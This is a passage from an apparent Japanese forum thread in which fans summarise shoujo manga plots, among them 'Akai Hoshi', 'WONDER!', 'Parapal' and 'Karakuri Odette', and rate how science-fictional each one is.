10メートル以上跳べるパワーブーツを履き、
手を触れた相手の思考が読めるカチューシャをつけています。
最初は、まりりん好みの侍の子孫(天真)、サムライの扮装でちんどん屋にいた男(坂友)、
女子高校生(美希)、まりりん、という恋の四角関係になりますが、
途中からは、まりりんと同じ未来からの逃亡者だった少女(マドンナ)や
まりりんの婚約者(アインシュタイン)が加わり、
最後には、まりりん達が未来へ還っていき、月日が流れて医学者となった天真の大往生。
天真が研究室に残した冷凍精子カプセルが、まりりんの20世紀への憧れにながったという
風呂敷の畳み方は、一応成功していると思います。
できればドタバタコメディではなく、シリアスで読みたかったようなストーリーなんですけどね。

90 :
>>16
> ▲中村かなこ『赤い星』(初出未確認) 1997小学館フラワーコミックス
これを挙げた人はSFの通だなあと思いますが、△が妥当ではないかと思います。
「赤い星」「赤い花」「赤い城」の三連作です。
物語は、その国で唯一の美術学校に通う少年タロウと、
そこの学生食堂の職員として働く、赤毛で孤児の少年チキとのから始まり、
家族的な友情や親子の愛をテーマにした作品。
「赤い星」1997デラックス別冊少女コミック4月5日号
彼らの住む国には、赤斑が出来て死んでしまう「赤の病」と呼ばれる風土病があり、
赤い色は忌み嫌われているので、チキも赤毛のために友人が出来にくかったのでした。
タロウは、母が彼を産んですぐ他界、父の風来坊的な生き方になじめず孤独な幼年時代を経験。
ある日、チキが赤の病に感染。
人々の噂では、遠い村に特効薬が存在するのですが、事実は誰も知りません。
けれども、タロウは、自分の父がそれらしいものを一つだけ所有していたことを思いだして、
故郷へ出かけて持ち帰り、チキは回復します。

91 :
「赤い花」1997デラックス別冊少女コミック6月5日号
美術学校に通う少年タロウの生まれる前の物語。
「花つかい」と呼ばれる、植物を育てる特殊能力を持つ、タロウの父(レオ)は、
村の孤児院で育った絵の好きな少女(アケミ)=タロウの母とます。
レオは、火事で消滅した風土病の研究所から唯一人逃げられた少年(レイ)と親しくなります。
「赤い城」1997デラックス別冊少女コミック10月5日号
タロウとチキが、タロウの故郷へ出かけて、タロウの父(レオ)の生き方を理解するという話。
妻や友人をなくしてからは、植物を育てる仕事もろくにしなくなってしまったレオは、
幼い息子(タロウ)を孤児院に預けて、ふらっと旅に出てしまったような男でした。
タロウは久しぶりに会った父のケガを気づかい、ようやく親子の間に絆が生まれます。
タイトル「赤い城」は、
亡き妻の望みだった、花が豊かなお城を作ることや、
丘の上の城跡にからまる緑の蔦のかわりに、愛情の証である赤い花を
咲かせるという計画からついたと思います。
中村かなこ『赤い星』シリーズは、
未来とか異星人の惑星とかを意味する要素は出てこない感じなのですが、
現在の地球のお話ではなく異世界の物語だと分かるところは、
作品の世界観がSFっぽいというか。
魔法や奇跡のような要素は出ないのですが、
風土病の特効薬の研究所で生まれた少年には、
シャボン玉の泡のような形状のその薬を作る特殊能力があって(ここまではSF)
ひとつ薬を作ると手や足の指先が欠けてしまうけど、復元能力もあるらしい(このへんはファンタジー的)
……というわけで、△かなあと思います。

92 :
>>88
> いくえみ綾「ハニバニ!」
普通の人間の体に異星人の精神体や人格が入ってくるというところは
>>6 ■笈川かおる「へ・へ・への方程式」(1982ぶ〜け1月号) を思い浮かべますね。
あちらは、大学受験期の少女の体に男性の異星人が入り込むもので、
両方が同居状態で人格が入れ替わるというところまでは行かないのですけど。

93 :
タロウの父がレオ……なんか微妙な名前の選択だなw

94 :
>>93
90-91です、すみません、セブンというキャラもいました・・・
今読み返したら、見逃していました。
>>91
>>レオは、火事で消滅した風土病の研究所から唯一人逃げられた少年(レイ)と親しくなります。
このレイが、7(セブン)と呼ばれていました。
研究所で7番目の実験体だったのかもw

95 :
7といえば、田村由美の『7SEEDS』は地球人類救済のプロジェクト名だけど、
最新号では、隕石衝突時の地球の様子が再現されていた。
『BASARA』と違って、こっちはまともにSFしてると思う。
ただ連載がやたら長引きそうなのが難点だな。
あと連載中なのは、石田拓実『パラパル』くらいか。
巻頭カラーが取れる人気連載ではある。
▲→*だね 田村由美『BASARA』
△→■希望 水樹和佳子『イティハーサ』
*萩尾望都『モザイク・ラセン』
▲萩尾望都『海のアリア』
※一条ゆかり『こいきな奴ら Part.2』
▲小花美穂『パートナー』
■作画グループ『ダリウスの風』
*篠原千絵『海の闇、月の影』
■曽祢まさこ『ふたりめの神話』
■竹宮恵子 (原作: 光瀬龍)『アンドロメダ・ストーリーズ』
■竹宮恵子『ブライトの憂鬱』
▲浜田翔子『EXボーイ』
■吉田秋生『YASHA-夜叉-』
双子が主役のSF漫画ってのも結構あるもんだ。
両方が最後まで生き残れるのばかりじゃないけどね。

96 :
>>95
連載中なのは、※ 河あきら『WONDER!』も。
でもこれってSFじゃないよ。
不思議な犬の能力をSF的に見れば
第1話は、予知と透視で航太(ヒロインの甥の小学生)の母に言い寄っていた男の家をつきとめた。
 でも嗅覚で母親の遺品などから探り当てたという見方も出来ないわけではない。
第2話は、病院の待合室へのテレポート。
 でも幽体離脱という見方も出来るし、かおり(ヒロイン)の妄想という見方も出来る。
第3話第4話は、その犬が慣れている人間の危険を察知して吠えるとかの、
 普通の犬が普通にやりそうな範囲。
SF要素はほとんどないので、*になるんじゃないかな?
でも、作品としては自然体で進んでいくべたべたしない家族ドラマで、
絵も荒れてないから、すごく得した気分になる。

97 :
>>95
□石田拓実『パラパル』は、学園ドラマ+異星人侵略系かな。
ハードSFにはならないけど、ライトSFでもかなりイイセンいってる。
脳内に宇宙人寄生状態の人間が複数で、
人によって、嗅覚、聴覚、触覚といった、
特定のひとつの感覚が、異常に鋭くなる、という設定が面白いよ。
脳内の宇宙人とは、たまにだけど会話も出来る。
短時間なら、寄生主の脳から出て実体化(小人サイズ)も出来る。
ヒロインは頭の中に宇宙人が入ったことで嗅覚が敏感になり、
高校の同級生たちの、発情している匂いや、発情処理後の匂い、
嘘をついたときの発汗その他による匂いを、嗅ぎ分けてしまう。
その結果で、彼氏の隠し事や親友の嘘に気づいてしまうけど、
ヒロインには同じような体質(頭の中に宇宙人が寄生)の、新しい友人達が出来る。
『パラパル』というタイトルの由来は、単行本の柱に、
パラサイト〔寄生)のパラ、ペンパル〔文通相手)のパル、だとか書いてあった。

98 :
>>96
『WONDER!』は確かにSFじゃないと思うけど、ワンダーの移動は幽体離脱じゃなくて、あきらかにテレポートだよ。
最新刊になるほど、その性質が明らかになってる。
特に家族の中で本犬が一番気にかけてるらしい航太についてく時は道から車へでも車から車へでもその気次第でひとっ飛び。

99 :
連載中なら
□鈴木ジュリエッタ『カラクリオデット』(2005花とゆめ19号〜連載中)
若い科学者の吉沢博士が作った少女型アンドロイドのオデットが、
TVの学園ドラマを見て学校へ行きたいと言いだし、
教師以外の一般生徒にはアンドロイドであることを隠すという条件で高校に入学。
オデットには、病弱な同級生の友達が出来る。
オデットがアンドロイドであることを知らない純真な少女。
吉沢博士のような他の科学者を通じてロボットの友達も出来たし、
学校にはアンドロイドと知っての上で仲良くしてくれる友達も出来た。
けれども、オデットは一方通行の恋に悩んだり泣いたりする友達を見る度に、
自分の体やプログラムに人間らしさを望むようになり、吉沢博士が色々と改良していく。
始めのうちはクールで無感情なオデットが、どこまで人間らしくなっていくのかを
見届けたくなるような作品。
でも1話完結式のシリーズだから、どのへんまで続くのか見当がつかないですね。

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